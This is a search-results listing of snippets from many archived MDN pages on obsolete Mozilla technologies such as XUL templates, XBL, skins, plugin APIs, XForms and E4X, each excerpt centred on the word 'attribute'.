attributes), must be the same in all rules. in this example, the container variable is ?start and the member variable is ?photo. if different variables were used for these, the rules would not work properly. the reason for this is due to the manner in which the builder processes the data. looking back at the results listed above, the palace photo appears twice so the second one will be removed, leaving onl...
...g only three matches. although the builder actually generates mutliple matches for one resource, in many cases it isn't necessary to be aware of this detail when creating templates. it is usually sufficient to assume that earlier rules are used to filter results much like an if-else construct in a programming language. if the last rule has no specific conditions (for example a simple rule with no
attributes on the <rule> element), it could be considered to be the final else block that matches all data. since results generated by earlier rules override those of later results, you will want to ensure that the rules are placed in the right order. the rules should be ordered from most specific to least specific. if you reversed the order of the two rules in the example above, three photos would still b...
RDF Query Syntax - Archive of obsolete content
ing to use a starting point when navigating the graph. obviously, since you need to start somewhere, you will have to use a content tag and it should be the first statement. also, because we can only have one starting point, only one content tag can be used. the seed result will be created like this: (?start = http://www.xulplanet.com/rdf/a) the variable ?start is determined from the tag's 'uri'
attribute. you can use any variable you want; it's common to use the variable ?uri. however, all rules must use the same starting point variable. so if a second rule were used, it would also need to use the ?start variable. the value of ?start is set to 'http://www.xulplanet.com/rdf/a'. you'll notice that this is the value of the ref
attribute which is the desired starting node in the rdf graph. thus, the ...
...n't do anything else at this point, meaning it doesn't add anything else to the network of potential results, so processing continues on to the next statement, the triple, which looks like this: <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> the triple statement is used to follow arcs or arrows in the rdf graph. the predicate
attribute specifies the labels of the arrows to follow. in the triple used here, the predicate is 'http://www.xulplanet.com/rdf/relateditem', so we know that the builder will look for arrows with that label. the builder can either follow the arrows in a forward or backward direction, but only one direction per statement. it determines which direction to use by examining which data is known and which data i...
Recursive Generation - Archive of obsolete content
e content from the graph recursively. after generating a result's content, the builder starts again using a new parent and starting point. naturally, the parent will be the new result's content, rather than the outer containing element, and the starting point will be the endpoint of the previous iteration. for the top level generation the parent insertion point is the element with the datasources
attribute, in this example a <vbox>. for nested results, the insertion point is the generated element. here is the content that was generated after one iteration: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/rel...
...ttp://www.xulplanet.com/rdf/d"/> </hbox> </vbox> for the next iteration, the insertion point will be the three <hbox> elements. however, since c is the only element that will end up having any additional content, only the second <hbox> element will have additional children added to it. for a nested item, the builder processes the query in the same way as usual, however instead of using the ref
attribute as the seed starting point, the end point or member is used instead. this will correspond to the id on the appropriate element in the generated content above. to begin, b is evaluated and seeded with the right value: (?start = http://www.xulplanet.com/rdf/b) the <triple> statement is then examined, however, item b doesn't have a relateditem arc out of it, so the result is rejected. since there a...
Rule Compilation - Archive of obsolete content
navigating through the rdf graph or xml document tree. a query is declared with the query tag (new to ff3; ff2 only worked with rdf datasources and had no query tag), which you would place directly inside the <template>. the job of the query is to generate a set of output results. rules the template also contains a set of rules which define content to be generated based on various conditions. an
attribute substitution syntax, explained later, is used to modify the
attributes of elements generated from the template, to correspond with the data for each result. each rule is declared with a rule tag, and you may have more than one. for each result that is generated by the query, the conditions specified within the rules are scanned, and content is generated when a rule matches. only the first matchin...
...eration can begin. the template builder generates content lazily, that is, it processes as little as needed, and only continues when necessary. for instance, consider the example below: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" hidden="true"> <template> ... </template> </vbox> the <vbox> is hidden as indicated by the 'hidden'
attribute. since any content that would be generated wouldn't be displayed anyway, the template builder doesn't do anything, putting off work until later. if you show the vbox by setting the hidden state to false, the template builder will be invoked and the content will be generated. does this mean that templates cannot be used inside hidden areas of the ui? no, you can still do that. changing the hidden ...
Template Guide - Archive of obsolete content
basics of xul templates introduction rule compilation rdf template syntax result generation rdf query syntax actions recursive generation simple example bindings additional navigation filtering static content simple query syntax containment properties xml template syntax xml templates xml assignments sql template syntax sqlite templates common template syntax
attribute substitution multiple rules using recursive templates building menus with templates special condition tests multiple queries using multiple queries to generate more results building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sorting results...
...it allows to use javascript objects as a data source for xul templates. interwiki language links ...
Adding HTML Elements - Archive of obsolete content
y use any html element in a xul file, meaning that java applets and tables can be placed in a window. you should avoid using html elements in xul files if you can. (there are some reasons, and the main one concerns the control of the layout described later). however, this section will describe how to use them anyway. remember that xml is case-sensitive though, so you'll have to enter the tags and
attributes in lowercase. xhtml namespace in order to use html elements in a xul file, you must declare that you are doing so using the xhtml namespace. this way, mozilla can distinguish the html tags from the xul ones. the
attribute below should be added to the window tag of the xul file, or to the outermost html element. xmlns:html="http://www.w3.org/1999/xhtml" this is a declaration of html much like th...
...orizontal" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> then, you can use html tags as you would normally, keeping in mind the following: you must add a html: prefix to the beginning of each tag, assuming you declared the html namespace as above. the tags must be entered in lowercase. "quotes" must be placed around all
attribute values. xml requires a trailing slash at the end of tags that have no content. this may be clearer from the examples below. using html elements you can use any html tag although some such as head and body are not really useful. some examples of using html elements are shown below. <html:img src="banner.jpg"/> <html:input type="checkbox" value="true"/> <html:table> <html:tr> <html:td> ...
Adding Style Sheets - Archive of obsolete content
d the elements will still work, however they will look fairly plain. the style sheet applies various fonts, colors and borders to make the elements look more suitable. changing the styles however, there will be times when the default look of elements will not give the look that is desired. for this, we will need to add a style sheet of our own. so far, we have been applying styles using the style
attribute on elements. although this works, it is not really the best thing to do. it is much better to create a separate style sheet. the reason is so that different looks, or skins, can be applied easily. there may be certain cases where the style
attribute is acceptable. an example would be when a script changes the style, or where a difference in layout might change the meaning of the element. however ...
...ectly inside toolbar elements. button.bigbuttons:hover matches all button elements with a class of bigbuttons but only while the mouse is over them. button#special-button:active matches all button elements with an id of special-button but only while they are active (being clicked on). box[orient="horizontal"] matches all box elements that have an orient
attribute that is set to horizontal. you can combine these rules in any way that you wish. it is always a good idea to be as precise as possible when specifying what gets styled. it is more efficient and it also reduces the likelihood that you'll style the wrong thing. find files example so far : source view in the next section, we will look at how to apply styles to trees. « previousnext » ...
Creating a Skin - Archive of obsolete content
adius, that creates rounded border corners. the upper left border of the first tab and the upper right border of the second tab are rounded by four pixels and the other corners have a round corner of zero pixels, which is equivalent to no rounding. increase the values here for more rounding and decrease them for a more rectangular look. the last rule only applies to tabs that have their selected
attribute set to true. it makes the text in the selected tab appear bold, underlined and dark blue. note in the image that this style has applied only to the first tab, because it's the selected one. adding toolbar icons it is somewhat difficult to distinguish the buttons on the toolbar from the commands on the menu. we could add some icons to the buttons to make them clearer. mozilla composer provides s...
...iple images. in the code above, we use the same image for each button, but set a different image region each one. if you look at this image (btn1.gif), you will notice that it contains a grid of smaller images, each one 16 by 16 pixels. the -moz-box-orient property is used to orient the button vertically, so that the image appears above the label. this property has the same meaning as the orient
attribute. this is convenient because the skin cannot change the xul. most of the box
attributes have corresponding css properties. other changes next, we'll make a couple of changes to the buttons along the bottom, again reusing some icons from mozilla to save time. if creating your own skin, you will need to create new icons or copy the icons to new files. if following the example in this section, just...
Introduction to XBL - Archive of obsolete content
this language is used for declaring the behavior of xul widgets. bindings you can use xul to define the layout of a user interface for an application. you can customize the look of elements by applying styles to them. you can also create new skins by changing the styles. the basic appearance of all elements, such as scroll bars and check boxes may be modified by adjusting the style or by setting
attributes on the element. however, xul provides no means in which you can change how an element works (or add a new element which can be reused). for example, you might want to change how the pieces of a scroll bar function. for this, you need xbl. an xbl file contains a set of bindings. each binding describes the behavior of a xul widget. for example, a binding might be attached to a scroll bar. the beha...
...illa.org/xbl"> <binding id="binding1"> <!-- content, property, method and event descriptions go here --> </binding> <binding id="binding2"> <!-- content, property, method and event descriptions go here --> </binding> </bindings> the bindings element is the root element of an xbl file and contains one or more binding elements. each binding element declares a single binding. the id
attribute can be used to identify the binding, as in the example above. the template has two bindings, one called binding1 and the other called binding2. one might be attached to a scroll bar and the other to a menu. a binding can be attached to any xul element. if you use css classes, you can use as many different bindings as you need. note the namespace on the bindings element in the template above. this...
Progress Meters - Archive of obsolete content
e used when you do not know the length of time of an operation. the progress meter will have an animation such as a spinning barber pole or a sliding box, depending on the platform and theme used. determinate progress meter: indeterminate progress meter: the progress meter has the following syntax: <html:progress id="identifier" mode="determined" value="50" max="100"/> the
attributes are as follows: id the unique identifer of the progress meter mode the type of the progress meter. if this is set to determined, the progress meter is a determinate progress meter where it fills up as the task completes. if this is set to undetermined, the progress meter is indeterminate where you do not know the length of time. the value determined is the default if you do not specify thi...
...are as follows: id the unique identifer of the progress meter mode the type of the progress meter. if this is set to determined, the progress meter is a determinate progress meter where it fills up as the task completes. if this is set to undetermined, the progress meter is indeterminate where you do not know the length of time. the value determined is the default if you do not specify this
attribute. value the current value of the progress meter. you should only use this for a progress meter that is determinate. the value should be set to an integer percentage from 0 to 100. the value would be changed by a script as the task completes. max the maximum value of the progress meter. should be used only with determinate. the find files example let's add a progress meter to our find file ...
Scroll Bars - Archive of obsolete content
ten. a scroll bar is made up of several parts: the slider, which is the main part of the scroll bar with the adjustable box, and the two arrow buttons on the end. a scroll bar creates all of these elements automatically. the syntax of a scroll bar is as follows: <scrollbar id="identifier" orient="horizontal" curpos="20" maxpos="100" increment="1" pageincrement="10"/> the
attributes are as follows: id the unique identifer of the scroll bar orient this specifies the direction of the scroll bar. the default is horizontal, which creates a scroll bar that extends from left to right. you can also specify vertical which creates a scroll bar that extends from top to bottom. curpos this indicates the current position of the scroll bar ...
...umber of lines in a list, but it could be anything you want. the initial value in this example is 20. when clicking on one of the scroll bar arrows, the value would change by 1 either up or down. by paging through the scroll bar, the value will change by 10. when the user clicks the scroll bar arrows, the thumb will move by the amount specified by the value increment. increasing the value of this
attribute will cause the scroll bar to move farther with each click. the leftmost or topmost position of the scroll bar has the value 0 and the rightmost or bottommost position of the scroll bar has the value given by maxpos. by adjusting the values of the scroll bar, you can have the thumb positioned just as you want it and the change when the user clicks the arrows just as you want it. next, we'll find o...
Styling a Tree - Archive of obsolete content
t cause the style to be applied to the column but only to the header. the body of the tree must be styled in a somewhat different way than other elements. this is because the tree body is stored in a different way to other elements. the outer treechildren is the only real element in the tree body. the inner elements are just placeholders. setting properties instead, you must use the properties
attribute on the rows or cells to set one or more named properties. this can be used with trees with static content, rdf built content or with those with a custom view. let's say we want a particular row to have a blue background color. this would be used to implement mozilla mail's labels feature. we'll use a property called 'makeitblue'. you can use whatever name you want. you can set multiple properties...
...ackground color of a row. ::-moz-tree-indentation: the indentation to the left of rows that are children of other rows. ::-moz-tree-column: a column. ::-moz-tree-line: the lines that are drawn to connect child rows to parent rows. ::-moz-tree-separator: a separator in a tree. ::-moz-tree-progressmeter: content for progressmeter cells. you can create a progressmeter column by setting the type
attribute on the column to progressmeter. ::-moz-tree-drop-feedback: the drag and drop feedback. ::-moz-tree-checkbox: the image to use for checkbox columns. you can check for multiple properties by separating them with commas. the example below sets the background color to grey for rows that have the 'readonly' and 'unread' properties. for properties that are 'readonly', it adds a red border around th...
Tabboxes - Archive of obsolete content
the other 'news'. when the user clicks on the mail tab, the contents of the first tab page will be displayed below the tabs. in this case, the page with the check box labeled 'automatically check for mail' will appear. when the second tab is clicked, the page containing the button labeled 'clear news buffer' will appear instead. the currently selected tab element is given an additional selected
attribute which is set to true. this alters the appearance of the currently selected tab to make it look selected. only one tab will have a true value for this
attribute at a time. position of the tabs finally, you can change the position of the tabs so that they appear on any side of the tab pages. there is no special syntax to do this. you simply set the orient and dir
attributes as necessary. remember...
...has horizontal orientation. this will make the tabs appear to the left of, not above, the tab pages. note that changing the orientation of the tabpanels element will have no effect, since the tabbed pages are layered on top of each other. you can place the tabs on the right or bottom side by moving the tabs element to after the tabpanels element in your code. alternatively, you could set the dir
attribute to reverse on the tabbox. however, you should probably leave the tabs on top, otherwise they might not look very good under particular themes. adding tabs to our find files dialog let's add a second panel to the find files dialog. we'll create an options tab (and select it by default) that will contain some options for searching. this may not be the best interface for doing this, but we'll use...
The Box Model - Archive of obsolete content
« previousnext » in this section, we'll look at how xul handles layout. introduction to boxes the main form of layout in xul is called the 'box model'. this model allows you to divide a window into a series of boxes. elements inside of a box will orient themselves horizontally or vertically. by combining a series of boxes, spacers and elements with flex and pack
attributes, you can control the layout of a window. although a box is the fundamental part of xul element layout, it follows a few very simple rules. a box can lay out its children in one of two orientations, either horizontally or vertically. a horizontal box lines up its elements horizontally and a vertical box orients its elements vertically. you can think of a box as one row or one column from an html table. various att...
...nt is used to create a horizontally oriented box. each element placed in the hbox will be placed horizontally in a row. the vbox element is used to create a vertically oriented box. added elements will be placed underneath each other in a column. there is also a generic box element which defaults to horizontal orientation, meaning that it is equivalent to the hbox. however, you can use the orient
attribute to control the orientation of the box. you can set this
attribute to the value horizontal to create a horizontal box and vertical to create a vertical box. thus, the two lines below are equivalent: <vbox></vbox> <box orient="vertical"></box> the following example shows how to place three buttons vertically. example 1 : source view <vbox> <button id="yes" label="yes"/> <button id="no" la...
Writing Skinnable XUL and CSS - Archive of obsolete content
your package will be almost entirely skinnable by changing only the global defaults. this rule also applies when designing a css file for a ui component that will be overlayed into other components. below are examples for each case. example 1: the navigator package has a personal toolbar with popup menu buttons. the colors for the toolbar and buttons should be drawn from global by placingclass
attributes on the appropriate elements in the xul. there should be no rules in navigator.css that attempt to define colors, fonts, etc. for either the personal toolbar headers or for the menu buttons' borders. example 2: the messenger package has a css file that describes the appearance of the messenger button that appears on the taskbar used by all windows. the messenger css file should not attempt to ...
... treecell in a typical tree), to crawl up the whole parent chain to the root of the document in order to determine that the style rule wasn't a match. i'm usually seeing this rule misused by people who really wanted to use the child selector instead. that was my mistake with the above rule. i should have used treehead > treerow > treecell. after all, that's what i meant anyway. never use an
attribute selector rule for the class
attribute. this is inefficient and you should just use the class notation (the dot notation) instead. writing skinnable xul a xul file that describes a window always imports the master skin file for its package. for example, all xul files that describe windows in the navigator package should contain a line explicitly importing navigator.css. xul overlays, however,...
XUL Accesskey FAQ and Policies - Archive of obsolete content
ent. for example, an apply button may have the letter a underlined. on windows and unix, pressing alt+a is a convenient way to push that button. on macintosh, accesskeys are available only in html not in xul, and they are activated using ctrl+letter instead of alt. how is an accesskey added to a form control? an accesskey can be added to an html or xul form control or label by using the accesskey
attribute. for example, here's how we add an accesskey to a xul button: <button label="apply instantly" accesskey="a" /> apply instantly - or - <button label="apply instantly" accesskey="a" /> apply instantly in mozilla, we use dtd's for one more layer of abstraction, for purposes of internationalization. the above example should say: <button label="apply instantly" a...
..." accesskey="&applyinstantly.accesskey" /> (always use accesskey instead of akey). if methods like confirm(), confirmex() or prompt() are being used to create a dialog, use an & before the button or checkbox text to make the next character an accesskey. for example, "do it &now" makes "n" the underlined accesskey. to insert a real ampersand, use &&. how do i pick an accesskey letter? accesskey
attribute is case sensitive! notice that the difference between the button examples above is the case of the accesskey specified. mozilla's accesskey implementation will first try to underline a letter of the same case, but if there isn't one it will fall back on a letter of the opposite case. our preference is to underline the first letter of one of the words, so it's important to be aware of this q...
XUL Template Primer - Bindings - Archive of obsolete content
ding> (singular) elements. <bindings> <binding subject="?friend" predicate="http://home.netscape.com/nc-rdf#address" object="?addr"/> <binding subject="?addr" predicate="http://home.netscape.com/nc-rdf#street" object="?street"/> </bindings> the <binding> element is very much like the <triple> condition: it must have a subject, predicate, and object
attribute. these refer to the subject, predicate, and object of a statement in the rdf model. at least one of the <binding> elements must have a subject variable that appears in the <conditions>: this variable is the "hook" that is used to bootstrap the binding. in our example, the ?friend variable serves this purpose in the first <binding> element. the subject may refer to any variable that has been com...
...le, the <rule> will be instantiated three times: once each for alison, jack, and lumpy. however, in lumpy's case, we won't be able to bind the ?addr variable because lumpy has no home! (well, there are no statements with lumpy as the subject and a nc:address as the predicate, anyway.) nevertheless, the rule still matches. in the content that's built for lumpy's <hbox>, the second <label>'s value
attribute (which should contain the value of ?street) is just left blank. related documents xul template primer xul template basics. xul template primer - multiple rules illustrates how to write templates with multiple <rule> elements. xul template primer - nested content illustrates how a template can be used recursively to build nested content. xul template primer - outliner illustrates how a ...
XUL Event Propagation - Archive of obsolete content
the handler actually raised the event. for example, if an event handler at the menu is handling an event raised by one of the menu items, then the menu should be able to identify the raising element and take the appropriate action, as in the following example, where a javascript function determines which menuitem was selected and responds appropriately: <script> function docmd(el) { v = el.get
attribute("value"); if (v == "new") alert("new clicked"); else if (v == "open") alert("open clicked"); else alert("close clicked"); } </script> ... <menu class="menu" value="file" oncommand="docmd(event.target)"> <menupopup> <menuitem oncommand="alert('new item alert')" value="new" /> <menuitem value="open" /> <menuitem oncommand="alert('close handler')" value="close" /> <...
...n be in-line code or a function. the last boolean parameter specifies whether the event listener wants to use event capturing, or be registered to listen for events that bubble up the hiearchy normally. note: the dom provides the addeventlistener method for creating event listeners on nodes that do not otherwise supply them. but in xul, almost every element includes an "oncommand" event listener
attribute for getting events. addeventlistener is the way to register event listeners for events other than the generalized "command" event, and the way to register a particular element for event capture, which preempts the regular flow of events. original author: ian oeschger other documents: w3c dom events, mozilla xul events original document information author(s): ian oeschger last updated date...
NPP_New - Archive of obsolete content
browser. this data is stored in instance->pdata. mode display mode of plug-in. values: np_embed: (1) instance was created by an embed tag and shares the browser window with other content. np_full: (2) instance was created by a separate file and is the primary content in the window. argc number of html arguments in the embed tag for an embedded plug-in; determines the number of
attributes in the argn and argv arrays. argn[] array of
attribute names passed to the plug-in from the embed tag. argv[] array of
attribute values passed to the plug-in from the embed tag. saved pointer to data saved by npp_destroy for a previous instance of this plug-in at the same url. if non-null, the browser passes ownership of the npsaveddata object back to the plug-in. the plug-in is r...
...r full-screen display mode, and, for embedded plug-ins, information about html embed arguments. a new instance pointer (npp instance) is created by the plug-in, which is valid until the instance is destroyed with npp_destroy. if instance data was saved from a previous instance of the plug-in by the npp_destroy function, it is returned in the saved parameter for the current instance to use. all
attributes in the embed tag (standard and private) are passed in npp_new in the argn and argv arrays. the browser ignores any non-standard
attributes within an embed tag. this gives developers a chance to use private
attributes to communicate instance-specific options or other information to the plug-in. place private options at the end of the list of standard
attributes in the embed tag. see also npp_de...
NPSetWindowCallbackStruct - Archive of obsolete content
unix platforms. contains information about the plug-in's unix window environment. syntax typedef struct { int32 type; display* display; visual* visual; colormap colormap; unsigned int depth; } npsetwindowcallbackstruct; fields the data structure has the following fields: type always contains np_setwindow. display standard x toolkit
attribute. pointer to the display structure that represents the browser-server connection. visual standard x toolkit
attribute. x visual for the plug-in window or drawable. colormap standard x toolkit
attribute. colormap for the plug-in window or drawable. depth standard x toolkit
attribute. depth of the plug-in window or drawable. description callback structures are used to ...
...e browser, contains information required for the ws_info field of an npwindow. the npp_setwindow() function passes a pointer to this structure to the plug-in. the structure is valid for the lifetime of the npwindow, that is, until npp_setwindow() is called again or the instance is destroyed. the type field of this structure always contains np_setwindow. the remaining fields are standard x toolkit
attributes of the top-level shell window in the browser window hierarchy. see also npp_setwindow() npwindow npprintcallbackstruct npanycallbackstruct ...
Adobe Flash - Archive of obsolete content
he text to the flash movie below: the example is missing. example 2 shows the use of macromedia flash's setvariable method being invoked from javascript. in general, to invoke a macromedia-defined method on a flash animation in netscape gecko browsers: use dom methods to get a handle to the html element that spawns the plugin. this may be the embed element or the object element's name or id
attribute respectively. treat the handle to the html element as a handle to the actual flash plugin and invoke the published methods on it. the illustrative code snippet below shows this idea: <object id="myflash" ..... > <param name="movie" value="somefile.swf" /> .... var myflash = document.getelementbyid("myflash").setvariable("myvar", sendtext); a more expanded code example that shows how exam...
...the source listing flash-to-js.html shows a source for this example. see macromedia's actionscript dictionary for pointers on invoking fscommands from within the flash animation code. see also macromedia flash developer documentation scripting the flash player plugin communication between javascript and macromedia flash fscommands (definition from the act...
Making sure your theme works with RTL locales - Archive of obsolete content
k-button { -moz-image-region: rect(0px 396px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #back-button:-moz-locale-dir(rtl) { -moz-image-region: rect(0px 516px 34px 480px); } this specifies the default, left-to-right version of the button, then offers an override if the user's interface is being rendered in right-to-left mode. gecko 1.9.1 (firefox 3.5) and earlier the chromedir
attribute firefox, thunderbird and seamonkey expose an
attribute named chromedir on certain elements. all you have to do is add css rules to your theme that test for the value of this
attribute, and use that to apply any rtl-specific rules that you may have. that's how the default theme works, so you can use it as an example. toolbar[iconsize="large"][mode="icons"] #back-button { -moz-image-region: rec...
...example. toolbar[iconsize="large"][mode="icons"] #back-button { -moz-image-region: rect(0px 398px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #back-button[chromedir="rtl"] { -moz-image-region: rect(0px 516px 34px 478px); } this way, if chromedir is "rtl", the second rule will override the first, and the theme will work in rtl. note that not all elements will have the chromedir
attribute, so you may need to refer to an ancestor element that does. for example: /* we want to apply a rtl rule to #c; neither it nor its * parent element #b has a chromedir
attribute, but its * grandparent element #a does. */ #a > #b > #c { /* normal rules */ } #a[chromedir="rtl"] > #b > #c { /* rtl rules */ } tip: sometimes, like in the back and forward arrows, you don't really need new ver...
Theme changes in Firefox 3.5 - Archive of obsolete content
and transparent windows never had a shadow. after that change, transparent windows also have a shadow by default. this can result in unwanted shadows in your theme, e.g. under the autoscroll icon or the identity panel. if you don't want the shadow, you can turn it off by setting the new -moz-window-shadow css property to none on the affected element. browser.xul bug 463189 added a new
attribute on the xul window element of browser.xul named browsingmode. the value of this
attribute is normal when the private browsing mode is inactive, and private when it's active. this
attribute can be used to style different parts of the browser window inside the private browsing mode. see this blog post for an example. supporting 3.5 features video/audio player: controlbar has to be style...
...to do this only for 3.5 use a css selector that is only supported in 3.5, like so: window:not([active="true"]) menubar>menu:nth-child(1n) { color:threedshadow } private browsing: show private browsing state by coloring the url bar, or by adding an icon to the toolbox/tabbrowserbar. see private browsing for theme designers for details. ...
Summary of Changes - Archive of obsolete content
; for block-level elements deprecated bgcolor css1 background-color: ; non-standard embed html 4.01 object deprecated applet html 4.01 object non-standard marquee html 4.01 div plus scripting non-standard bgsound html 4.01 object proprietary or deprecated feature w3c feature or recommended replacement ie5+ id_
attribute_value document.all.id_
attribute_value document.all[id_
attribute_value] dom level 2: document.getelementbyid(id_
attribute_value) ie5+ formname.inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ inputname.value dom level 1: document.forms["formname"].inputname.value ie5+ formctrlname dom level 1: docum...
...http://www.w3.org/tr/2004/rec-dom-le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activex...
-ms-accelerator - Archive of obsolete content
sinheritednocomputed valueas specifiedanimation typediscrete syntax /* the object is not a keyboard shortcut (the default) */ -ms-accelerator: false /* the object is a keyboard shortcut */ -ms-accelerator: true values false the object is not a keyboard shortcut. true the object is a keyboard shortcut. formal syntax false | true examples this example uses the -ms-accelerator
attribute in a <u> element to specify that the "n" in the <label> element is a keyboard shortcut. when the option to "hide keyboard navigation indicators until i use the alt key" is enabled in the user's display properties, the "n" is not underlined until the user presses the alt key. when alt + n is pressed, the <input> element that defines an accesskey
attribute value of "n" receives the focus. <!doctyp...
...users to hide navigation indicators for menu items and controls until the alt key is pressed. an access key is a single character used as a keyboard shortcut for selecting an object. the user presses the alt key and holds it while pressing the character to move input focus to the object, and to invoke the default event associated with the object. in internet explorer 8 (ie8) the -ms-accelerator
attribute is an extension to css, and can be used as a synonym for accelerator in ie8 standards mode. ...
-ms-filter - Archive of obsolete content
-filter-function-progid> = 'progid:' [ <ident-token> '.' ]* [ <ident-token> | <function-token> <any-value> ')' ] <-ms-filter-function-legacy> = <ident-token> | <function-token> <any-value> ')' the <string> contains the list of filters, transitions, and procedural surfaces. refer to the filters and transitions reference for details. examples the following example shows how to use the -ms-filter
attribute in internet explorer 8. code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_8.htm -ms-filter: 'progid:dximagetransform.microsoft.motionblur(strength=50), progid:dximagetransform.microsoft.basicimage(mirror=1)'; the following example shows how to use an inline style sheet to set the filter on an image. code example: http://samples.msdn.microsoft.com/worksh...
...when you use -ms-filter, enclose the progid in single quotes (') or double quotes ("). use commas (,) to separate multiple values, as shown in the examples section. an object must have layout for the filter to render. a simple way to accomplish this is to give the element a specified height and width, or both.
Introduction - Archive of obsolete content
xt » basic syntax with e4x enabled, basic xml elements are valid syntax for variables. for instance var element = <foo/>; is perfectly valid in an e4x enabled browser. variable declarations are not limited to one element, and as with all javascript, can span multiple lines. var element2 = <foo> <bar/> </foo>; additionally, you can specify all of the normal
attributes on elements that you would normally include in an xml document. var element3 = <foo baz="1"/>; manipulating elements the goal of e4x was to provide an easier way for javascript programmers to manipulate an xml document, without going through the dom interfaces. however, many of the same functions that you would use in the dom can be used in e4x. the most basic is appendchild var element1 = <f...
...iables the true power of e4x only begins to come to light, however, when the xml document can interact closely with other javascript. with special syntax, we can assign the value of a javascript variable to be the value of an e4x element. this is done with brace ({}) notation. var a = 2; var b = <foo>{a}</foo>; creates an xml document that reads <foo>2</foo>. you can also use brace notation on
attributes of elements (their names or values). for example, var a = 2; var b = 'bar'; var c = <foo {b}={a}>"hi"</foo>; creates a slightly different xml document: <foo bar="2">"hi"</foo>. note, however, that xml elements can only have text as their value. what really happens with the {} notation is that the variables' tostring method is called, and the returned value is placed in the element. for insta...
Troubleshooting XForms Forms - Archive of obsolete content
ne instance you most probably need to have <xf:instance xmlns=""> .... any instance, no controls get bound if no controls show with either inline instance or an <xf:instance src="...">, check the following: as with inline instance, make sure the instance of the form control ref binding expression matches the namespace of the data. if form controls are within repeat, check that you are using
attribute nodeset for the repeat instead of
attribute ref. if the instance is not in the empty namespace (xmlns=""), then all binding expressions must use a prefix bound to the namespace. xpath 1.0 expressions do not have a default namespace, so a prefix must always be specified if the namespace is not the empty namespace. if your binding expression starts with a /, make sure the first thing is the name ...
...e>42</value> </data> </xf:instance> you should use <output ref="instance('ins2')/value"/> to show the contents of the value element. (specification). repeat and tables not working unfortunately you cannot do: <table> <xf:repeat nodeset="..."> <tr> ... </tr> </xf:repeat> </table> the xhtml modularization does not allow this. you either have to use css tables or repeat
attributes, which at the moment are not working properly in the firefox xforms extension :( should be fixed by bug 306247 and bug 280368 respectively. submission not working if you are trying to replace="instance" make sure that the document being returned is xml. there will be an error on the javascript console if it is not. on most webservers you cannot use <submission method="post" action="file.xm...
XForms Label Element - Archive of obsolete content
r the xforms control (see the spec). every form control other than the output and choices elements must contain a label element. it is valid for a form control to have an empty label element. the label text can be specified in instance data, in a remote document, or as inline text. if more than one source of label text is specified for this element, the order of precedence is: single node binding
attributes, linking
attributes, inline text. ui behavior accesskey support - if the accesskey
attribute is specified on labeled xforms controls or on the label element itself then the label text for the control will contain an indicator as to what the access key is in a standard way. usually by underlining the accesskey character in the label text. focus behavior - when a label element is clicked or i...
...is specified on labeled xforms controls or on the label element itself then the label text for the control will contain an indicator as to what the access key is in a standard way. usually by underlining the accesskey character in the label text. focus behavior - when a label element is clicked or its accesskey is activated then the form control that contains the label will be given the focus.
attributes ui common accesskey - used to specify the keyboard shortcut for focusing the parent form control. single-node binding linking src - url of a document whose contents will be retrieved by the label element and used to provide label text for the containing form control. type restrictions the label element can be bound to any simple content. representations the xforms label element i...
XForms Message Element - Archive of obsolete content
introduction used in combination with xml event listeners to display a message to the user when the specified event occurs (see the spec). the message of the message element can exist in instance data, in a remote document, or as inline text. if more than one source of message is specified in this element, the order of precedence is: single node binding
attributes, linking
attributes, inline text.
attributes single-node binding linking src - url of a document whose contents will be retrieved by the message element and used to provide the message text for the message element. special level - defines a representation of message element type restrictions the message element can be bound to any simple content. representations it may be represented in the following ways: modal windo...
...gle-node binding linking src - url of a document whose contents will be retrieved by the message element and used to provide the message text for the message element. special level - defines a representation of message element type restrictions the message element can be bound to any simple content. representations it may be represented in the following ways: modal window - if level
attribute value is modal modeless window - if level
attribute value is modeless tooltip window - if level
attribute value is ephemeral note: message element doesn't define a default presentation. therefore you should always specify a level
attribute. example <xforms:trigger> <xforms:label>it's a button</xforms:label> <xforms:message level="modal" ev:event="domactivate">hello</xforms:message> </xf...
XForms Secret Element - Archive of obsolete content
accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special inputmode - isn't supported. incremental - supported. the default value is false. type restrictions the secret element can be bound to a node containing simple content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived from these. ...
... content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived from these. representations the xforms secret element is represented by a password field. the password field is a text field, the value of which is hidden by asterisks (xhtml/xul). characteristics analogous widgets are <xhtml:input type="password"/> and <xul:textbox type="password"/> if the incremental
attribute is present and has the value true, then the bound instance node is updated on every user input. please keep in mind that the instance data will hold exactly what the user gave as input. any other xform control bound to that data will show that data 'as is'. ...
Explaining basic 3D theory - Game development
s the right-hand coordinate system — the x axis points to the right, the y axis points up, and the z axis points out of the screen, as seen in the above diagram. objects different types of objects are built using vertices. a vertex is a point in space having its own 3d position in the coordinate system and usually some additional information that defines it. every vertex is described by these
attributes: position: identifies it in a 3d space (x, y, z). color: holds an rgba value (r, g and b for the red, green, and blue channels, alpha for transparency — all values range from 0.0 to 1.0). normal: a way to describe the direction the vertex is facing. texture: a 2d image that the vertex can use to decorate the surface it is part of instead of a simple color. you can build geometry using ...
...ing pipeline takes the 3d objects built from primitives described using vertices, applies processing, calculates the fragments and renders them on the 2d screen as pixels. terminology used in the diagram above is as follows: a primitive: an input to the pipeline — it's built from vertices and can be a triangle, point or line. a fragment: a 3d projection of a pixel, which has all the same
